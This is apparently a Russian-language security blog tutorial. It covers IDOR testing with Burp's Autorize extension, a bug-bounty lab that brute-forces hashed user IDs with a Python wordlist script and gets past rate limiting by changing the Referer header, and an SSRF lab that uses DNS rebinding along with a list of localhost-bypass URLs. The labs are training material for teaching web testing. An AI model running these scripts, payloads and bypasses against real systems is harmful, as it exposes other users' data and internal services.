Всякий раз, когда совершается запрос, расширение будет менять его и подставлять добавленный нами сессионный идентификатор и проверять различия в ответах. Например, если я попытаюсь добавить какой-то товар в корзину, Autorize поменяет часть запроса и попробует совершить то же действие с сессионным идентификатором атакующего.

Таким образом, мы будем пытаться получить содержимое данных, принадлежащих другому пользователю, то есть проверять веб-приложение на наличие IDOR.

По сути, расширение делает то же самое, что и Repeater, но подставляет каждый раз другие заголовки в запрос.

Теперь какую бы функциональность мы не проверяли, Autorize каждый раз будет отправлять наш запрос, но с другими заголовками.

Можно переходить к тестированию контроля доступа и поиска уязвимости IDOR. Просто используем все доступные функциональности и изучаем работу сайта.

Detect

Как можно заметить, после добавления товара в корзину приложение говорит нам, что мы просмотрели корзину другого пользователя:

Перейдем в Autorize и посмотрим, в каком запросе у нас нарушается контроль доступа:

Как вы видите, сессионный идентификатор отличается, и можно заметить, что ответ приложения одинаков при разных заголовках запроса, тогда как у запроса без заголовков авторизации ответ отличается:

Autorize совершает две проверки:

1. Добавляет заголовки атакующего в запрос;
2. Удаляет заголовки, сигнализирующие об успешной авторизации (то есть отправляет запрос без заголовков).

Вторая проверка также является нарушением контроля доступа, так как позволяет получить информацию неавторизованному пользователю.

Теперь покупаем товар:

Добавляем адрес:

Выбираем доставку:

Добавляем карту для оплаты:

Размещаем заказ:

Советую чаще проверять конечные точки, содержащие pdf или какие-либо файлы, так как потенциально они могут не иметь проверки контроля доступа и обычно защищены уникальным идентификатором, полагаясь на безопасность за счет непредсказуемости идентификатора.

Таким образом, мы проверили всю функциональность покупки на наличие уязвимостей IDOR и Broken Access Control в автоматическом режиме, и Autorize показал нам результат работы в удобном для чтения и восприятия формате.

Теперь вернёмся к Authorize и посмотрим, где нам удалось обойти ограничения контроля доступа:

Как можно подметить, длина ответа приложения с разными сессионными данными одинаковая. Это говорит нам о том, что в данном месте есть IDOR, и мы получаем доступ к данным другого пользователя (в данном случае чек после размещения заказа), которые содержат конфиденциальную информацию.

Как я и говорил, статические файлы в большинстве случаев могут быть не защищены проверкой контроля доступа и будут доступны по уникальному идентификатору.

Сравниваем содержимое pdf с помощью Comparer, чтобы убедиться, что мы получили доступ к одному и тому же чеку:

Переходим в браузере в аккаунт атакующего и смотрим содержимое чека:

В другом запросе также раскрывается email другого пользователя:

Также по длине ответа можно понять, в каких запросах расишрению не удалось обойти ограничения:

IDOR bypass BugBounty

Закончим с теоретической частью и для примера рассмотрим лабораторную работу, посвященную найденной исследователем IDOR-уязвимости в рамках программы BugBounty.

В данной лабораторной показан пример слабого шифрования и возможности обхода ограничения скорости перебора значений и защиты от ботов.

Скачиваем лабораторную работу:

git clone https://github.com/leetCipher/bug-bounty-labs.git

Запускаем уязвимое приложение:

sudo docker-compose up

Создаем аккаунт:

Сервис, где была обнаружена уязвимость, похож на Instagram, где можно публиковать фотографии и делиться ими.

Когда я проверил все конечные точки, то обратил внимание на вызов метода /api/user, в теле которого находился параметр, благодаря которому можно просмотреть учетные данные конкретного пользователя:

Простой перебор данного идентификатора невозможен из-за количества символов, и на первый взгляд может показаться, что всё безопасно и никакого IDOR нет. Но на сайте мной была обнаружена конечная точка /js/register.js, которая показывает, как происходит формирование данного хэша:

Так как в формировании хэша участвует дата регистрации, first_name и last_name, то единственное, что нам нужно угадать, — это дата. Ниже приведён скрипт, который может подобрать все варианты хэша для заданных имени имени и фамилии:

#!/usr/bin/python3
import hashlib
import sys

def main(first_name, last_name):
    # hashes wordlist
    wordlist_fd = open("hashes-wordlist.txt", "w")
    # user full name reversed
    full_name = first_name + last_name
    full_name = full_name[::-1]

    # brute-force all dates since 2017
    for year in range(2017, 2023, 1):
        for month in range(1, 13):
            for day in range(1, 32):
                string = "{}{:02}{:02}{}".format(full_name, day, month, year)
                # generate the SHA-256 sum of the reversed full name and the date
                hashed_string = hashlib.sha256(string.encode()).hexdigest()

                # write the hash to the hashes-wordlist.txt file
                wordlist_fd.write("{}\n".format(hashed_string))

    # close the fd
    wordlist_fd.close()
    print("[+] wordlist generated for {} {}".format(first_name, last_name))


if __name__ == "__main__":
    if len(sys.argv) == 3:
        main(str(sys.argv[1]), str(sys.argv[2]))
    else:
        print("usage: ./generate-hashes.py  ")

Исследователь обнаружил, что домен с уязвимым приложением был зарегистрирован в 2017 году. Это значит, что отсчет даты регистрации пользователей можно начинать с этого года:

Приведённый выше скрипт подбирает хэши на основе двух значений: first_name и last_name. Он объединяет (конкатенирует) имя и фамилию в переменную full_name, а затем перебирает все даты, начиная с 2017 года. Затем вся информация объединяется в переменную string и вычисляется хэш SHA256 в шестрадцатеричной кодировке для этой строки. Результат вычисления вероятных значений хэша для конкретного пользователя записывается в файл hashshes-wordlists.txt.

Теперь можно попробовать перебрать хэш пользователя john doe, имя которого раскрывается на странице:

Получаем возможные хэши пользователя:

Переходим в Intruder и пробуем перебрать все значения:

Спустя 20 запросов мы получаем ограничения на попытку просмотра данных:

Кастомные заголовки не помогли обойти ограничения, но исследователем было замечено, что при смене заголовка Referer ограничения снимаются, и мы можем продолжать проверку хэша:

Таким образом, в Intruder добавляем точку перебора в заголовок Referer (его значение не играет особой роли):

После атаки получаем доступ к данным пользователя john doe:

Повторим атака с именем sam young:

Таким образом, исследователю удалось найти изъян в механизме генерации хэша пользователя, что позволило проэксплуатировать уязвимость IDOR в, казалось бы, неуязвимом приложении.

В мире информационной безопасности постоянно появляются новые методы атак на приложения и системы. Одной из таких хитрых уязвимостей является SSRF (Server-Side Request Forgery) через DNS Rebinding. В данной статье мы погрузимся в механизм работы этой уязвимости и поймем как она работает.

SSRF - это атака, при которой злоумышленник заставляет целевой сервер выполнять HTTP-запросы к внутренним или внешним ресурсам, обходя ограничения безопасности. В случае с SSRF через DNS Rebinding, атакующий использует изменение DNS-записей с целью обмана сервера и выполнения запросов к внутренним ресурсам.

На схеме ниже показан простой пример такой атаки:

Данная уязвимость часто возникает в веб-приложениях, которые взаимодействуют со сторонними сервисами для загрузки каких-либо данных. В таких системах совершаемые запросы бывают подконтрольны пользователям. И в результате подмены ссылки запрос уходит уже на другие ресурсы.

На первый взгляд может показаться, что отправка подобного запроса не представляет опасности. Однако это мнение ошибочно. Атаки такого рода могут иметь разнообразные последствия: начиная от получения информации о внутренних ресурсах системы, и заканчивая полной компрометацией приложения. Результат атаки зависит от её типа, расположения сервера в сети, содержания отправленного запроса и других факторов.

Несмотря на разнообразие возможных последствий, корень проблемы всегда один – неправильная проверка входных данных. Когда сервер получает ссылку, он не достаточно проверяет адрес, указанный в ней, и бездумно обращается к ресурсу, указанному пользователем.

Автор CVE-2022–4096 выпустил разбор уязвимости в видео-формате и создал лабораторную работу, чтобы продемонстрировать, как уязвимость эксплуатируется. С помощью этой лабораторной работы я попробую показать, как работает данная уязвимость. Давайте загрузим репозиторий с лабораторной работой:

git clone https://github.com/leetCipher/bug-bounty-labs.git

Собираем образ лабораторной:

docker build -t ssrf-bug .

Запускаем приложение:

docker run -p 80:80 ssrf-bug

Теперь нам доступно уязвимое приложение и можно переходить к тестированию.

При входе в систему можно заметить вызов метода API - /api/v3/users и параметр который передаётся - это пользовательский uuid

Сервис, в котором была найденна данная уязвимость, похожа на платформy для обмена файлами, по типу google drive или dropbox.

Можно заметить, что когда мы отправляем запрос, нам становится доступен список файлов которые мы загрузили:

Также у нас доступна функциональность загрузки изображения с помощью URL, и это открывает возможность для SSRF-атак. Попробуем получить ответ на свой collaborator, чтобы убедиться, в том что запрос отправляется:

Но при попытке обратиться к localhost можно заметить, что у сервиса есть защита от обращений к внутренним сервисам или localhost:

Советую пользоваться примерно таким словарем при попытках обхода ограничений:

http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
http://2130706433
http://017700000001
http://0x7f000001
http://google.com@127.0.0.1
http://127.0.0.1#google.com
http://google.com.127.0.0.1
http://127.0.0.1/google.com
http://127.0.0.1/?d=google.com
https://google.com@127.0.0.1
https://127.0.0.1#google.com
https://google.com.127.0.0.1
https://127.0.0.1/google.com
https://127.0.0.1/?d=google.com
http://google.com@localhost
http://localhost#google.com
http://google.com.localhost
http://localhost/google.com
http://localhost/?d=google.com
http://127.0.0.1%00google.com
http://127.0.0.1?google.com
http://127.0.0.1///google.com
https://127.0.0.1%00google.com
https://127.0.0.1?google.com
https://127.0.0.1///google.com
http://localtest.me
https://customer1.app.localhost.my.company.127.0.0.1.nip.io
mail.ebc.apple.com
127.0.0.1.nip.io
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network
http://spoofed.burpcollaborator.net
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

Попробовав перебрать имеющиеся способы обхода, я не получил желаемого результат и защиту обойти не удалось:

Затем я попробовал сменить версию API на v2, ведь старая версия API обычно не поддерживается, и это могло бы повлиять на результат:

После нескольких попыток как-либо обойти ограничение, возникла идея поменять заголовок content-type на json и передать содержимое в формате json:

И здесь мне удается получить новый ответ от сервера: возвращается ответ, в котором сказано, что запрос на localhost не разрешен. Теперь можно быть уверенным, что здесь возможна уязвимость SSRF. Попробуем перебрать значения localhost:

К сожалению, это также не помогло обойти ограничения.

Во время тестирования данной программы bugbounty мною было замечено, что сервер использует Reverse Proxies, и запросы которые мы отправляем, сначала проходят через этот прокси-сервер, а затем reverse-proxy перенаправляет их на внутренний сервер.

В этом момент я вспоминаю об уязвимости DNS Rebinding!

Попробую сначала объяснить как работает DNS и данная уязвимость.

Для того чтобы понять, как работает данная уязвимость, необходимо разобраться с тем, что такое DNS и сам DNS rebinding.

DNS (Domain Name System) - это система доменных имен, и её работа примерно следующая:

Когда вы посещаете какой-либо сайт, например, google.com, ваш компьютер или маршрутизатор сначала выполняет DNS-запрос к ближайшему DNS-серверу

DNS-сервер возвращает IP-адрес, который соответствует имени хоста google.com. После того как браузер получит данный IP-адрес, он будет использовать его для перехода на сайт google.com

DNS Rebinding

Теперь, когда мы принудительно отправляем HTTP-запрос на 127.0.0.1, наш запрос сначала проверяется с помощью reverse-proxy, который проверяет, какой IP-адрес разрешен

Если это 127.0.0.1, то reverse-proxy полностью отклонит запрос, и он не будет перенаправлен на внутренний сервер. Однако, если разрешены любые домены с IP-адресом, отличным от 127.0.0.1, то reverse-proxy перенаправит запрос на внутренний сервер, и это является важной частью атаки.

Прямо перед тем, как внутренний сервер сделает запрос к домену, домен будет перепривязан на 127.0.0.1, и это произойдет благодаря низкому TTL. В момент, когда внутренний сервер делает HTTP-запрос к нашему домену, он будет переадресован на 127.0.0.1, что обманет внутренний сервер и позволит получить доступ к внутренней системе.

Как будто это больше похоже на Race Condition чем на SSRF :)

Exploit

Чтобы воспользоваться данной атакой, можно использовать этот инструмент для перепривязки DNS имени:

Имя хоста, сгенерированное на этой странице, будет случайным образом перепривязываться на один из адресов с очень низким TTL.

TTL - Time To Live

Time To Live означает "время жизни" и является важным механизмом, используемым локальным DNS для кэширования всех адресов, которые преобразуются в домены, которые вы посетили. Когда истекает TTL, срок действия кэша истекает, и при следующем посещении домена, который был закэширован, ваш компьютер выполняет новый DNS-запрос, чтобы преобразовать домен в IP-адрес. В нашем случае для этого имени хоста TTL будет менее одной секунды. В качестве первого параметра указывается 127.0.0.1, а второй - наша VPS.

Но для демонстрации атаки достаточно будет использовать ip адрес google:

Сейчас, когда мы делаем запрос на получившееся доменное имя, можно заметить, что иногда адрес разрешается в 64.233.164.100, а иногда в 127.0.0.1.

Именно сгенерированное доменное имя и поможет при эксплуатации данной уязвимости. Сделаем запрос и отправим его несколько раз, пока не обойдём ограничение:

Таким образом, получается обойти защиту от SSRF и получить доступ к внутреннему серверу. Однако можно заметить, что возвращаемый ответ - 404, и стоит добиться большего импакта.

Для этого необходимо попробовать найти пути или файлы внутри системы. Во время анализа API был обнаружен метод /api, который раскрывает внутреннюю информацию:

И когда я отправил запрос на конечную точку /api/users, мне вернулись uuid всех зарегистрированных пользователей:

Вспомнив запрос, который отправлялся для получения файлов, попробуем добавить параметр uuid в запрос и получить доступ к файлам другого пользователя:

Канал автора статьи - https://t.me/wr3dmast3rvs